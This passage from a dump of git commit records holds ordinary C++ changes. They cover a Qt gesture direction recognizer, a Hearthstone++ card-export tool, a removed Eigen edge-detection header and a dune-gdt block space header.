sqrt(static_cast<double>(dx*dx + dy*dy));\n    if (distance < DistanceDelta\/2)\n        return Direction();\n\n    Qt::DirectionType direction = Qt::NoDirection;\n    double angle = atan(1.0*qAbs(lastPoint.y() - pos.y())\/qAbs(pos.x() - lastPoint.x())) * 180. \/ M_PI;\n    if (dx < 0 && dy <= 0) {\n        angle = 180 - angle;\n    } else if (dx <= 0 && dy > 0) {\n        angle += 180;\n    } else if (dx > 0 && dy > 0) {\n        angle = 360-angle;\n    }\n    if (angle < 0)\n        angle += 360;\n    if (angle <= 20)\n        direction = Qt::RightDirection;\n    else if (angle <= 65)\n        direction = Qt::RightUpDirection;\n    else if (angle <= 110)\n        direction = Qt::UpDirection;\n    else if (angle <= 155)\n        direction = Qt::LeftUpDirection;\n    else if (angle <= 200)\n        direction = Qt::LeftDirection;\n    else if (angle <= 245)\n        direction = Qt::LeftDownDirection;\n    else if (angle <= 290)\n        direction = Qt::DownDirection;\n    else if (angle <= 335)\n        direction = Qt::RightDownDirection;\n    else\n        direction = Qt::RightDirection;\n\n    if (direction == Qt::NoDirection)\n        return Direction();\n\n    lastPoint = pos;\n    directions.push_back(Direction(direction, pos));\n    return Direction(direction, pos);\n}\n\n\nDirectionList QDirectionDiagonalRecognizer::getDirections() const\n{\n    return directions;\n}\n\nvoid QDirectionDiagonalRecognizer::reset()\n{\n    directions.clear();\n    lastPoint = QPoint();\n}\n\nQT_END_NAMESPACE\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Copyright (c) 2018 Chris Ohk, Youngjoong Kim, SeungHyun Jeon\n\n\/\/ We are making my contributions\/submissions to this project solely in our\n\/\/ personal capacity and are not conveying any rights to any intellectual\n\/\/ property of any third parties.\n\n#include <hspp\/Cards\/Cards.h>\n\n#include <better-enums\/enum.h>\n#include <clara.hpp>\n\n#ifdef HEARTHSTONEPP_WINDOWS\n#include <filesystem>\n#endif\n#ifdef HEARTHSTONEPP_LINUX\n#include <experimental\/filesystem>\n#endif\n#include <fstream>\n#include <iostream>\n#include <regex>\n#include <string>\n#include <vector>\n\nusing namespace Hearthstonepp;\n\n#ifndef HEARTHSTONEPP_MACOSX\nnamespace filesystem = std::experimental::filesystem;\n#endif\n\ninline std::string ToString(const clara::Opt& opt)\n{\n    std::ostringstream oss;\n    oss << (clara::Parser() | opt);\n    return oss.str();\n}\n\ninline std::string ToString(const clara::Parser& p)\n{\n    std::ostringstream oss;\n    oss << p;\n    return oss.str();\n}\n\ninline std::vector<GameTag> CheckAbilityImpl(const std::string& path)\n{\n    std::map<std::string, GameTag> abilityStrMap = {\n        { \"Adapt\", GameTag::ADAPT },\n        { \"Charge\", GameTag::CHARGE },\n        { \"DivineShield\", GameTag::DIVINE_SHIELD },\n        { \"Freeze\", GameTag::FREEZE },\n        { \"Poisonous\", GameTag::POISONOUS },\n        { \"Stealth\", GameTag::STEALTH },\n        { \"Taunt\", GameTag::TAUNT },\n        { \"Windfury\", GameTag::WINDFURY }\n    };\n\n    std::vector<GameTag> result;\n\n#ifndef HEARTHSTONEPP_MACOSX\n    const filesystem::path p(\n        path + \"\/Tests\/UnitTests\/Tasks\/BasicTasks\/CombatTaskTests.cpp\");\n\n    if (!filesystem::exists(p))\n    {\n        std::cerr << p << \" does not exist\\n\";\n        exit(EXIT_FAILURE);\n    }\n\n    if (!filesystem::is_regular_file(p))\n    {\n        std::cerr << p << \" exists, but is not regular file\\n\";\n        exit(EXIT_FAILURE);\n    }\n\n    std::ifstream abilityFile;\n    abilityFile.open(p.string());\n\n    if (!abilityFile.is_open())\n    {\n        std::cerr << p << \" couldn't open\\n\";\n        exit(EXIT_FAILURE);\n    }\n\n    std::string line;\n    while (std::getline(abilityFile, line))\n    {\n        for (auto& ability : abilityStrMap)\n        {\n            std::string sentence = \"TEST(CombatTask, \" + ability.first + \")\";\n            if (line.find(sentence, 0) != std::string::npos)\n            {\n                result.emplace_back(ability.second);\n                break;\n            }\n        }\n    }\n\n#else\n    std::cerr\n        << \"CheckAbilityImpl skip: apple-clang doesn't support <filesystem>\\n\";\n    exit(EXIT_FAILURE);\n#endif\n\n    return result;\n}\n\ninline std::vector<Card> QueryCardSetList(const std::string& projectPath,\n                                          CardSet cardSet, bool implCardOnly)\n{\n    if (cardSet == +CardSet::ALL)\n    {\n        return Cards::GetInstance()->GetAllCards();\n    }\n\n    std::vector<GameTag> abilityList{};\n    if (implCardOnly)\n    {\n        abilityList = CheckAbilityImpl(projectPath);\n    }\n\n    std::vector<Card> result;\n    for (auto& card : Cards::GetInstance()->FindCardBySet(cardSet))\n    {\n        if (implCardOnly)\n        {\n            bool isAbilityImpl = true;\n            for (auto& mechanic : card.mechanics)\n            {\n                if (std::find(abilityList.begin(), abilityList.end(),\n                              mechanic) == abilityList.end())\n                {\n                    isAbilityImpl = false;\n                    break;\n                }\n            }\n\n            if (!isAbilityImpl || (card.cardType != +CardType::MINION &&\n                                   card.cardType != +CardType::HERO &&\n                                   card.cardType != +CardType::HERO_POWER &&\n                                   card.cardType != +CardType::WEAPON))\n            {\n                result.emplace_back(card);\n            }\n        }\n        else\n        {\n            result.emplace_back(card);\n        }\n    }\n\n    return result;\n}\n\ninline bool CheckCardImpl(const std::string& path, const std::string& id)\n{\n#ifndef HEARTHSTONEPP_MACOSX\n    const filesystem::path p(path + \"\/Tests\/UnitTests\/CardSets\");\n\n    if (!filesystem::exists(p))\n    {\n        std::cerr << p << \" does not exist\\n\";\n        exit(EXIT_FAILURE);\n    }\n\n    if (!filesystem::is_directory(p))\n    {\n        std::cerr << p << \" exists, but is not directory\\n\";\n        exit(EXIT_FAILURE);\n    }\n\n    for (auto&& file : filesystem::recursive_directory_iterator(p))\n    {\n        std::regex fileNamePattern(R\"(.*\\\\(.*)\\..*$)\");\n        std::smatch match;\n\n        std::string pathStr = file.path().string();\n\n        if (std::regex_match(pathStr, match, fileNamePattern))\n        {\n            if (match[1] == id)\n            {\n                return true;\n            }\n        }\n    }\n#else\n    std::cerr\n        << \"CheckCardImpl skip: apple-clang doesn't support <filesystem>\\n\";\n    exit(EXIT_FAILURE);\n#endif\n\n    return false;\n}\n\ninline void ExportFile(const std::string& projectPath,\n                       CardSet cardSet, std::vector<Card>& cards)\n{\n    std::ofstream outputFile(\"result.md\");\n    if (outputFile)\n    {\n        size_t allCardNum = 0;\n        size_t toImplCardNum = 0;\n        size_t impledCardNum = 0;\n\n        for (auto& card : Cards::GetInstance()->FindCardBySet(cardSet))\n        {\n            if (card.isCollectible)\n            {\n                allCardNum++;\n            }\n        }\n\n        outputFile << \"Set | ID | Name | Implemented\\n\";\n        outputFile << \":---: | :---: | :---: | :---:\\n\";\n\n        for (auto& card : cards)\n        {\n            if (!card.isCollectible)\n            {\n                continue;\n            }\n\n            toImplCardNum++;\n\n            std::string mechanicStr;\n            for (auto& mechanic : card.mechanics)\n            {\n                mechanicStr += mechanic._to_string();\n            }\n\n            const bool isImplemented = CheckCardImpl(projectPath, card.id);\n            if (isImplemented)\n            {\n                impledCardNum++;\n            }\n\n            outputFile << card.cardSet._to_string() << \" | \" << card.id << \" | \"\n                       << card.name << \" | \" << (isImplemented ? 'O' : ' ')\n                       << '\\n';\n        }\n\n        \/\/ Adds the number of card that implemented by ability\n        impledCardNum += (allCardNum - toImplCardNum);\n        const size_t implPercent = static_cast<size_t>(\n            static_cast<double>(impledCardNum) \/ allCardNum * 100);\n        outputFile << '\\n';\n        outputFile << \"- Progress: \" << implPercent << \"% (\" << impledCardNum\n                   << \" of \" << allCardNum << \" Cards)\";\n\n        std::cout << \"Export file is completed.\\n\";\n        exit(EXIT_SUCCESS);\n    }\n\n    std::cerr << \"Failed to write file result.md\\n\";\n    exit(EXIT_FAILURE);\n}\n\nint main(int argc, char* argv[])\n{\n    \/\/ Parse command\n    bool showHelp = false;\n    bool isExportAllCard = false;\n    bool implCardOnly = false;\n    std::string cardSetName;\n    std::string projectPath;\n\n    \/\/ Parsing\n    auto parser = clara::Help(showHelp) |\n                  clara::Opt(isExportAllCard)[\"-a\"][\"--all\"](\n                      \"Export a list of all expansion cards\") |\n                  clara::Opt(cardSetName, \"cardSet\")[\"-c\"][\"--cardset\"](\n                      \"Export a list of specific expansion cards\") |\n                  clara::Opt(implCardOnly)[\"-i\"][\"--implcardonly\"](\n                      \"Export a list of cards that need to be implemented\") |\n                  clara::Opt(projectPath, \"path\")[\"-p\"][\"--path\"](\n                      \"Specify Hearthstone++ project path\");\n\n    auto result = parser.parse(clara::Args(argc, argv));\n    if (!result)\n    {\n        std::cerr << \"Error in command line: \" << result.errorMessage() << '\\n';\n        exit(EXIT_FAILURE);\n    }\n\n    if (showHelp)\n    {\n        std::cout << ToString(parser) << '\\n';\n        exit(EXIT_SUCCESS);\n    }\n\n    if (projectPath.empty())\n    {\n        std::cout << \"You should input Hearthstone++ project path\\n\";\n        exit(EXIT_FAILURE);\n    }\n\n    CardSet cardSet = CardSet::INVALID;\n\n    if (isExportAllCard)\n    {\n        cardSet = CardSet::ALL;\n    }\n    else if (!cardSetName.empty())\n    {\n        const auto convertedCardSet =\n            CardSet::_from_string_nothrow(cardSetName.c_str());\n        if (!convertedCardSet)\n        {\n            std::cerr << \"Invalid card set name: \" << cardSetName << '\\n';\n            exit(EXIT_FAILURE);\n        }\n\n        cardSet = *convertedCardSet;\n    }\n\n    std::vector<Card> cards =\n        QueryCardSetList(projectPath, cardSet, implCardOnly);\n\n    if (cards.empty())\n    {\n        std::cerr << \"Your search did not generate any hits.\\n\";\n        exit(EXIT_SUCCESS);\n    }\n\n    ExportFile(projectPath, cardSet, cards);\n\n    exit(EXIT_SUCCESS);\n}<commit_msg>feat(improve-tool): Excludes 9 hero cards from CardSet::CORE<commit_after>\/\/ Copyright (c) 2018 Chris Ohk, Youngjoong Kim, SeungHyun Jeon\n\n\/\/ We are making my contributions\/submissions to this project solely in our\n\/\/ personal capacity and are not conveying any rights to any intellectual\n\/\/ property of any third parties.\n\n#include <hspp\/Cards\/Cards.h>\n\n#include <better-enums\/enum.h>\n#include <clara.hpp>\n\n#ifdef HEARTHSTONEPP_WINDOWS\n#include <filesystem>\n#endif\n#ifdef HEARTHSTONEPP_LINUX\n#include <experimental\/filesystem>\n#endif\n#include <fstream>\n#include <iostream>\n#include <regex>\n#include <string>\n#include <vector>\n\nusing namespace Hearthstonepp;\n\n#ifndef HEARTHSTONEPP_MACOSX\nnamespace filesystem = std::experimental::filesystem;\n#endif\n\ninline std::string ToString(const clara::Opt& opt)\n{\n    std::ostringstream oss;\n    oss << (clara::Parser() | opt);\n    return oss.str();\n}\n\ninline std::string ToString(const clara::Parser& p)\n{\n    std::ostringstream oss;\n    oss << p;\n    return oss.str();\n}\n\ninline std::vector<GameTag> CheckAbilityImpl(const std::string& path)\n{\n    std::map<std::string, GameTag> abilityStrMap = {\n        { \"Adapt\", GameTag::ADAPT },\n        { \"Charge\", GameTag::CHARGE },\n        { \"DivineShield\", GameTag::DIVINE_SHIELD },\n        { \"Freeze\", GameTag::FREEZE },\n        { \"Poisonous\", GameTag::POISONOUS },\n        { \"Stealth\", GameTag::STEALTH },\n        { \"Taunt\", GameTag::TAUNT },\n        { \"Windfury\", GameTag::WINDFURY }\n    };\n\n    std::vector<GameTag> result;\n\n#ifndef HEARTHSTONEPP_MACOSX\n    const filesystem::path p(\n        path + \"\/Tests\/UnitTests\/Tasks\/BasicTasks\/CombatTaskTests.cpp\");\n\n    if (!filesystem::exists(p))\n    {\n        std::cerr << p << \" does not exist\\n\";\n        exit(EXIT_FAILURE);\n    }\n\n    if (!filesystem::is_regular_file(p))\n    {\n        std::cerr << p << \" exists, but is not regular file\\n\";\n        exit(EXIT_FAILURE);\n    }\n\n    std::ifstream abilityFile;\n    abilityFile.open(p.string());\n\n    if (!abilityFile.is_open())\n    {\n        std::cerr << p << \" couldn't open\\n\";\n        exit(EXIT_FAILURE);\n    }\n\n    std::string line;\n    while (std::getline(abilityFile, line))\n    {\n        for (auto& ability : abilityStrMap)\n        {\n            std::string sentence = \"TEST(CombatTask, \" + ability.first + \")\";\n            if (line.find(sentence, 0) != std::string::npos)\n            {\n                result.emplace_back(ability.second);\n                break;\n            }\n        }\n    }\n\n#else\n    std::cerr\n        << \"CheckAbilityImpl skip: apple-clang doesn't support <filesystem>\\n\";\n    exit(EXIT_FAILURE);\n#endif\n\n    return result;\n}\n\ninline std::vector<Card> QueryCardSetList(const std::string& projectPath,\n                                          CardSet cardSet, bool implCardOnly)\n{\n    if (cardSet == +CardSet::ALL)\n    {\n        return Cards::GetInstance()->GetAllCards();\n    }\n\n    std::vector<GameTag> abilityList{};\n    if (implCardOnly)\n    {\n        abilityList = CheckAbilityImpl(projectPath);\n    }\n\n    std::vector<Card> result;\n    for (auto& card : Cards::GetInstance()->FindCardBySet(cardSet))\n    {\n        if (implCardOnly)\n        {\n            bool isAbilityImpl = true;\n            for (auto& mechanic : card.mechanics)\n            {\n                if (std::find(abilityList.begin(), abilityList.end(),\n                              mechanic) == abilityList.end())\n                {\n                    isAbilityImpl = false;\n                    break;\n                }\n            }\n\n            if (!isAbilityImpl || (card.cardType != +CardType::MINION &&\n                                   card.cardType != +CardType::HERO &&\n                                   card.cardType != +CardType::HERO_POWER &&\n                                   card.cardType != +CardType::WEAPON))\n            {\n                result.emplace_back(card);\n            }\n        }\n        else\n        {\n            result.emplace_back(card);\n        }\n    }\n\n    return result;\n}\n\ninline bool CheckCardImpl(const std::string& path, const std::string& id)\n{\n#ifndef HEARTHSTONEPP_MACOSX\n    const filesystem::path p(path + \"\/Tests\/UnitTests\/CardSets\");\n\n    if (!filesystem::exists(p))\n    {\n        std::cerr << p << \" does not exist\\n\";\n        exit(EXIT_FAILURE);\n    }\n\n    if (!filesystem::is_directory(p))\n    {\n        std::cerr << p << \" exists, but is not directory\\n\";\n        exit(EXIT_FAILURE);\n    }\n\n    for (auto&& file : filesystem::recursive_directory_iterator(p))\n    {\n        std::regex fileNamePattern(R\"(.*\\\\(.*)\\..*$)\");\n        std::smatch match;\n\n        std::string pathStr = file.path().string();\n\n        if (std::regex_match(pathStr, match, fileNamePattern))\n        {\n            if (match[1] == id)\n            {\n                return true;\n            }\n        }\n    }\n#else\n    std::cerr\n        << \"CheckCardImpl skip: apple-clang doesn't support <filesystem>\\n\";\n    exit(EXIT_FAILURE);\n#endif\n\n    return false;\n}\n\ninline void ExportFile(const std::string& projectPath,\n                       CardSet cardSet, std::vector<Card>& cards)\n{\n    std::ofstream outputFile(\"result.md\");\n    if (outputFile)\n    {\n        size_t allCardNum = 0;\n        size_t toImplCardNum = 0;\n        size_t impledCardNum = 0;\n\n        for (auto& card : Cards::GetInstance()->FindCardBySet(cardSet))\n        {\n            if (card.isCollectible)\n            {\n                allCardNum++;\n            }\n        }\n\n        \/\/ Excludes 9 hero cards from CardSet::CORE\n        if (cardSet == +CardSet::CORE)\n        {\n            allCardNum -= 9;\n        }\n\n        outputFile << \"Set | ID | Name | Implemented\\n\";\n        outputFile << \":---: | :---: | :---: | :---:\\n\";\n\n        for (auto& card : cards)\n        {\n            if (!card.isCollectible)\n            {\n                continue;\n            }\n\n            toImplCardNum++;\n\n            std::string mechanicStr;\n            for (auto& mechanic : card.mechanics)\n            {\n                mechanicStr += mechanic._to_string();\n            }\n\n            const bool isImplemented = CheckCardImpl(projectPath, card.id);\n            if (isImplemented)\n            {\n                impledCardNum++;\n            }\n\n            outputFile << card.cardSet._to_string() << \" | \" << card.id << \" | \"\n                       << card.name << \" | \" << (isImplemented ? 'O' : ' ')\n                       << '\\n';\n        }\n\n        \/\/ Adds the number of card that implemented by ability\n        impledCardNum += (allCardNum - toImplCardNum);\n        const size_t implPercent = static_cast<size_t>(\n            static_cast<double>(impledCardNum) \/ allCardNum * 100);\n        outputFile << '\\n';\n        outputFile << \"- Progress: \" << implPercent << \"% (\" << impledCardNum\n                   << \" of \" << allCardNum << \" Cards)\";\n\n        std::cout << \"Export file is completed.\\n\";\n        exit(EXIT_SUCCESS);\n    }\n\n    std::cerr << \"Failed to write file result.md\\n\";\n    exit(EXIT_FAILURE);\n}\n\nint main(int argc, char* argv[])\n{\n    \/\/ Parse command\n    bool showHelp = false;\n    bool isExportAllCard = false;\n    bool implCardOnly = false;\n    std::string cardSetName;\n    std::string projectPath;\n\n    \/\/ Parsing\n    auto parser = clara::Help(showHelp) |\n                  clara::Opt(isExportAllCard)[\"-a\"][\"--all\"](\n                      \"Export a list of all expansion cards\") |\n                  clara::Opt(cardSetName, \"cardSet\")[\"-c\"][\"--cardset\"](\n                      \"Export a list of specific expansion cards\") |\n                  clara::Opt(implCardOnly)[\"-i\"][\"--implcardonly\"](\n                      \"Export a list of cards that need to be implemented\") |\n                  clara::Opt(projectPath, \"path\")[\"-p\"][\"--path\"](\n                      \"Specify Hearthstone++ project path\");\n\n    auto result = parser.parse(clara::Args(argc, argv));\n    if (!result)\n    {\n        std::cerr << \"Error in command line: \" << result.errorMessage() << '\\n';\n        exit(EXIT_FAILURE);\n    }\n\n    if (showHelp)\n    {\n        std::cout << ToString(parser) << '\\n';\n        exit(EXIT_SUCCESS);\n    }\n\n    if (projectPath.empty())\n    {\n        std::cout << \"You should input Hearthstone++ project path\\n\";\n        exit(EXIT_FAILURE);\n    }\n\n    CardSet cardSet = CardSet::INVALID;\n\n    if (isExportAllCard)\n    {\n        cardSet = CardSet::ALL;\n    }\n    else if (!cardSetName.empty())\n    {\n        const auto convertedCardSet =\n            CardSet::_from_string_nothrow(cardSetName.c_str());\n        if (!convertedCardSet)\n        {\n            std::cerr << \"Invalid card set name: \" << cardSetName << '\\n';\n            exit(EXIT_FAILURE);\n        }\n\n        cardSet = *convertedCardSet;\n    }\n\n    std::vector<Card> cards =\n        QueryCardSetList(projectPath, cardSet, implCardOnly);\n\n    if (cards.empty())\n    {\n        std::cerr << \"Your search did not generate any hits.\\n\";\n        exit(EXIT_SUCCESS);\n    }\n\n    ExportFile(projectPath, cardSet, cards);\n\n    exit(EXIT_SUCCESS);\n}<|endoftext|>"}
{"text":"<commit_before>#if !defined(_EDGE_DETECT_DFT_)\n\n#include <Eigen\/Core>\n#include <Eigen\/LU>\n\nusing std::complex;\nusing std::abs;\n\ntemplate <typename T> class edgedetect {\npublic:\n  typedef enum {\n    DETECT_X,\n    DETECT_Y,\n    DETECT_BOTH,\n    COLLECT_X,\n    COLLECT_Y,\n    COLLECT_BOTH } direction_t;\n  edgedetect();\n  typedef complex<T> U;\n  typedef Eigen::Matrix<T, Eigen::Dynamic, Eigen::Dynamic> Mat;\n  typedef Eigen::Matrix<U, Eigen::Dynamic, Eigen::Dynamic> MatU;\n  Mat detect(const Mat& data, const direction_t& dir);\nprivate:\n  void initPattern(const int&);\n  U    I;\n  T    Pi;\n  Mat  Dop;\n};\n\ntemplate <typename T> edgedetect<T>::edgedetect() {\n  I  = sqrt(U(- 1.));\n  Pi = atan2(T(1.), T(1.)) * T(4.);\n}\n\ntemplate <typename T> Eigen::Matrix<T, Eigen::Dynamic, Eigen::Dynamic> edgedetect<T>::detect(const Mat& data, const direction_t& dir) {\n  Mat result(data);\n  switch(dir) {\n  case DETECT_BOTH:\n    {\n      Mat w(detect(data, DETECT_X));\n      Mat h(detect(data, DETECT_Y));\n      result = (w + h) \/ T(2);\n    }\n    break;\n  case DETECT_X:\n    result = detect(data.transpose(), DETECT_Y).transpose();\n    break;\n  case DETECT_Y:\n    initPattern(data.rows());\n    result = Dop * data;\n    break;\n  case COLLECT_BOTH:\n    {\n      Mat w(detect(data, COLLECT_X));\n      Mat h(detect(data, COLLECT_Y));\n      result = (w + h) \/ T(2);\n    }\n    break;\n  case COLLECT_X:\n    result = detect(data.transpose(), COLLECT_Y).transpose();\n    break;\n  case COLLECT_Y:\n    {\n      result = detect(data, DETECT_Y);\n#if defined(_OPENMP)\n#pragma omp parallel for schedule(static, 1)\n#endif\n      for(int i = 0; i < result.rows(); i ++)\n        for(int j = 0; j < result.cols(); j ++)\n          result(i, j) = abs(result(i, j));\n    }\n    break;\n  default:\n    ;\n  }\n  return result;\n}\n\ntemplate <typename T> void edgedetect<T>::initPattern(const int& size) {\n  MatU Dbuf(size, size), Iop(size, size);\n#if defined(_OPENMP)\n#pragma omp parallel for schedule(static, 1)\n#endif\n  for(int i = 0; i < Dbuf.rows(); i ++)\n    for(int j = 0; j < Dbuf.cols(); j ++) {\n      Dbuf(i, j) = exp(U(- 2.) * Pi * I * U(i * j \/ T(size)));\n      Iop(i, j)  = exp(U(  2.) * Pi * I * U(i * j \/ T(size)));\n    }\n#if defined(_OPENMP)\n#pragma omp parallel for schedule(static, 1)\n#endif\n  for(int i = 0; i < Dbuf.rows(); i ++)\n    Dbuf.row(i) *= U(- 2.) * Pi * I * U(i \/ T(size));\n  Dop = (Iop * Dbuf).real().template cast<T>();\n  return;\n}\n\n#define _EDGE_DETECT_DFT_\n#endif\n\n<commit_msg>Delete edgedetect.hh<commit_after><|endoftext|>"}
{"text":"<commit_before>\/\/ This file is part of the dune-gdt project:\n\/\/   http:\/\/users.dune-project.org\/projects\/dune-gdt\n\/\/ Copyright holders: Felix Schindler\n\/\/ License: BSD 2-Clause License (http:\/\/opensource.org\/licenses\/BSD-2-Clause)\n\n#ifndef DUNE_GDT_SPACES_BLOCK_HH\n#define DUNE_GDT_SPACES_BLOCK_HH\n\n#include <dune\/stuff\/common\/exceptions.hh>\n\n#include <dune\/grid\/multiscale\/default.hh>\n\n#include <dune\/gdt\/playground\/mapper\/block.hh>\n\n#include \"..\/..\/spaces\/interface.hh\"\n\nnamespace Dune {\nnamespace GDT {\nnamespace Spaces {\n\n\ntemplate <class LocalSpaceImp>\nclass Block;\n\n\nnamespace internal {\n\n\ntemplate <class LocalSpaceType>\nclass BlockTraits\n{\n  static_assert(std::is_base_of<SpaceInterface<typename LocalSpaceType::Traits>, LocalSpaceType>::value,\n                \"LocalSpaceType has to be derived from SpaceInterface!\");\n  typedef grid::Multiscale::Default<typename LocalSpaceType::GridViewType::Grid> MsGridType;\n\npublic:\n  typedef Block<LocalSpaceType> derived_type;\n  static const int polOrder = LocalSpaceType::polOrder;\n  typedef typename LocalSpaceType::BackendType BackendType;\n  typedef Mapper::Block<LocalSpaceType> MapperType;\n  typedef typename LocalSpaceType::BaseFunctionSetType BaseFunctionSetType;\n  typedef typename LocalSpaceType::CommunicatorType CommunicatorType;\n  typedef typename MsGridType::GlobalGridViewType GridViewType;\n  typedef typename LocalSpaceType::RangeFieldType RangeFieldType;\n  static const unsigned int dimRange     = LocalSpaceType::dimRange;\n  static const unsigned int dimRangeCols = LocalSpaceType::dimRangeCols;\n\n  static const Stuff::Grid::ChoosePartView part_view_type = LocalSpaceType::part_view_type;\n\n  static const bool needs_grid_view = LocalSpaceType::needs_grid_view;\n}; \/\/ class BlockTraits\n\n\n} \/\/ namespace internal\n\n\ntemplate <class LocalSpaceImp>\nclass Block : public SpaceInterface<internal::BlockTraits<LocalSpaceImp>>\n{\n  typedef SpaceInterface<internal::BlockTraits<LocalSpaceImp>> BaseType;\n\npublic:\n  typedef internal::BlockTraits<LocalSpaceImp> Traits;\n  typedef typename Traits::BackendType BackendType;\n  typedef typename Traits::MapperType MapperType;\n  typedef typename Traits::BaseFunctionSetType BaseFunctionSetType;\n  typedef LocalSpaceImp LocalSpaceType;\n\n  typedef typename BaseType::PatternType PatternType;\n  typedef typename BaseType::GridViewType GridViewType;\n  typedef typename BaseType::EntityType EntityType;\n\n  typedef grid::Multiscale::Default<typename GridViewType::Grid> MsGridType;\n\n  Block(const std::shared_ptr<const MsGridType> ms_grid,\n        const std::vector<std::shared_ptr<const LocalSpaceType>> local_spaces)\n    : ms_grid_(ms_grid)\n    , local_spaces_(local_spaces)\n    , mapper_(std::make_shared<MapperType>(ms_grid_, local_spaces_))\n  {\n    if (local_spaces_.size() != ms_grid_->size())\n      DUNE_THROW_COLORFULLY(Stuff::Exceptions::shapes_do_not_match,\n                            \"You have to provide a local space for each subdomain of the multiscale grid!\\n\"\n                                << \"  Size of the given multiscale grid: \"\n                                << ms_grid_->size()\n                                << \"\\n\"\n                                << \"  Number of local spaces given: \"\n                                << local_spaces_.size());\n  } \/\/ Block(...)\n\n  const std::shared_ptr<const MsGridType>& ms_grid() const\n  {\n    return ms_grid_;\n  }\n\n  const std::vector<std::shared_ptr<const LocalSpaceType>>& local_spaces() const\n  {\n    return local_spaces_;\n  }\n\n  const std::shared_ptr<const GridViewType>& grid_view() const\n  {\n    return ms_grid_->globalGridView();\n  }\n\n  const BackendType& backend() const\n  {\n    return local_spaces_[0]->backend();\n  }\n\n  const MapperType& mapper() const\n  {\n    return *mapper_;\n  }\n\n  BaseFunctionSetType base_function_set(const EntityType& entity) const\n  {\n    const size_t block = find_block_of_(entity);\n    return local_spaces_[block]->base_function_set(entity);\n  }\n\n  template <class ConstraintsType>\n  void local_constraints(const EntityType& \/*entity*\/, ConstraintsType& \/*ret*\/) const\n  {\n    DUNE_THROW_COLORFULLY(NotImplemented, \"I am not sure yet how to implement this!\");\n  }\n\n  template <class G, class S>\n  PatternType compute_pattern(const GridView<G>& \/*local_grid_view*\/, const SpaceInterface<S>& \/*ansatz_space*\/) const\n  {\n    DUNE_THROW_COLORFULLY(NotImplemented, \"I am not sure yet how to implement this!\");\n  }\n\nprivate:\n  template <class EntityType>\n  size_t find_block_of_(const EntityType& entity) const\n  {\n    const auto global_entity_index = ms_grid_->globalGridView()->indexSet().index(entity);\n    const auto result              = ms_grid_->entityToSubdomainMap()->find(global_entity_index);\n#ifndef NDEBUG\n    if (result == ms_grid_->entityToSubdomainMap()->end())\n      DUNE_THROW_COLORFULLY(Stuff::Exceptions::internal_error,\n                            \"Entity \" << global_entity_index\n                                      << \" of the global grid view was not found in the multiscale grid!\");\n#endif \/\/ NDEBUG\n    const size_t subdomain = result->second;\n#ifndef NDEBUG\n    if (subdomain >= ms_grid_->size())\n      DUNE_THROW_COLORFULLY(Stuff::Exceptions::internal_error,\n                            \"The multiscale grid is corrupted!\\nIt reports Entity \" << global_entity_index\n                                                                                    << \" to be in subdomain \"\n                                                                                    << subdomain\n                                                                                    << \" while only having \"\n                                                                                    << ms_grid_->size()\n                                                                                    << \" subdomains!\");\n#endif \/\/ NDEBUG\n    assert(subdomain < local_spaces_.size());\n    return subdomain;\n  } \/\/ ... find_block_of_(...)\n\n  std::shared_ptr<const MsGridType> ms_grid_;\n  std::vector<std::shared_ptr<const LocalSpaceType>> local_spaces_;\n  std::shared_ptr<const MapperType> mapper_;\n}; \/\/ class Block\n\n\n} \/\/ namespace Spaces\n} \/\/ namespace GDT\n} \/\/ namespace Dune\n\n#endif \/\/ DUNE_GDT_SPACES_BLOCK_HH\n<commit_msg>[playground.spaces.block] guard against missing dune-grid-multiscale<commit_after>\/\/ This file is part of the dune-gdt project:\n\/\/   http:\/\/users.dune-project.org\/projects\/dune-gdt\n\/\/ Copyright holders: Felix Schindler\n\/\/ License: BSD 2-Clause License (http:\/\/opensource.org\/licenses\/BSD-2-Clause)\n\n#ifndef DUNE_GDT_SPACES_BLOCK_HH\n#define DUNE_GDT_SPACES_BLOCK_HH\n\n\n#include <dune\/common\/static_assert.hh>\n\n#include <dune\/stuff\/common\/exceptions.hh>\n\n#if HAVE_DUNE_GRID_MULTISCALE\n#include <dune\/grid\/multiscale\/default.hh>\n#endif\n\n#include <dune\/gdt\/playground\/mapper\/block.hh>\n\n#include \"..\/..\/spaces\/interface.hh\"\n\nnamespace Dune {\nnamespace GDT {\nnamespace Spaces {\n\n#if HAVE_DUNE_GRID_MULTISCALE\n\n\ntemplate <class LocalSpaceImp>\nclass Block;\n\n\nnamespace internal {\n\n\ntemplate <class LocalSpaceType>\nclass BlockTraits\n{\n  static_assert(std::is_base_of<SpaceInterface<typename LocalSpaceType::Traits>, LocalSpaceType>::value,\n                \"LocalSpaceType has to be derived from SpaceInterface!\");\n  typedef grid::Multiscale::Default<typename LocalSpaceType::GridViewType::Grid> MsGridType;\n\npublic:\n  typedef Block<LocalSpaceType> derived_type;\n  static const int polOrder = LocalSpaceType::polOrder;\n  typedef typename LocalSpaceType::BackendType BackendType;\n  typedef Mapper::Block<LocalSpaceType> MapperType;\n  typedef typename LocalSpaceType::BaseFunctionSetType BaseFunctionSetType;\n  typedef typename LocalSpaceType::CommunicatorType CommunicatorType;\n  typedef typename MsGridType::GlobalGridViewType GridViewType;\n  typedef typename LocalSpaceType::RangeFieldType RangeFieldType;\n  static const unsigned int dimRange     = LocalSpaceType::dimRange;\n  static const unsigned int dimRangeCols = LocalSpaceType::dimRangeCols;\n\n  static const Stuff::Grid::ChoosePartView part_view_type = LocalSpaceType::part_view_type;\n\n  static const bool needs_grid_view = LocalSpaceType::needs_grid_view;\n}; \/\/ class BlockTraits\n\n\n} \/\/ namespace internal\n\n\ntemplate <class LocalSpaceImp>\nclass Block : public SpaceInterface<internal::BlockTraits<LocalSpaceImp>>\n{\n  typedef SpaceInterface<internal::BlockTraits<LocalSpaceImp>> BaseType;\n\npublic:\n  typedef internal::BlockTraits<LocalSpaceImp> Traits;\n  typedef typename Traits::BackendType BackendType;\n  typedef typename Traits::MapperType MapperType;\n  typedef typename Traits::BaseFunctionSetType BaseFunctionSetType;\n  typedef LocalSpaceImp LocalSpaceType;\n\n  typedef typename BaseType::PatternType PatternType;\n  typedef typename BaseType::GridViewType GridViewType;\n  typedef typename BaseType::EntityType EntityType;\n\n  typedef grid::Multiscale::Default<typename GridViewType::Grid> MsGridType;\n\n  Block(const std::shared_ptr<const MsGridType> ms_grid,\n        const std::vector<std::shared_ptr<const LocalSpaceType>> local_spaces)\n    : ms_grid_(ms_grid)\n    , local_spaces_(local_spaces)\n    , mapper_(std::make_shared<MapperType>(ms_grid_, local_spaces_))\n  {\n    if 